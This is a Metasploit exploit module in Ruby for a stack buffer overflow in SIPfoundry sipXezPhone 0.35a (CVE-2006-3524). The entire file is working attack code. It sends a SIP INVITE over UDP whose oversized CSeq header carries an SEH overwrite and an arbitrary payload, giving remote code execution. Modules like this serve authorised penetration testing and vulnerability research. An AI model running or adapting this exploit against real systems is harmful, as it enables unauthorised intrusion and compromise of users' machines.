SIPfoundry sipXezPhone 0.35a CSeq Field Overflow



##

# $Id: sipxezphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in SIPfoundry's
                sipXezPhone version 0.35a. By sending an long CSeq header,
                a remote attacker could overflow a buffer and execute
                arbitrary code on the system with the privileges of
                the affected application.
            },
            'Author'         => 'MC',
            'Version'        => '$Revision: 9525 $',
            'References'     =>
                [
                    ['CVE', '2006-3524'],
                    ['OSVDB', '27122'],
                    ['BID', '18906'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00\x0a\x20\x09\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',

            'Targets'        =>
                [
                    ['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
                ],

            'Privileged'     => false,

            'DisclosureDate' => 'Jul 10 2006',

            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(5060)
            ], self.class)
    end

    def exploit
        connect_udp

        print_status("Trying target #{target.name}...")

        user   = rand_text_english(2, payload_badchars)
        port   = rand(65535).to_s
        filler = rand_text_english(260, payload_badchars)
        seh    = generate_seh_payload(target.ret)
        filler[252, seh.length] = seh

        sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
        sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
        sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
        sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
        sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
        sploit  <<  "CSeq: " + filler + "\r\n"
        sploit  <<  "Max-Forwards: 20" +  "\r\n"
        sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

        udp_sock.put(sploit)

        handler
        disconnect_udp
    end

end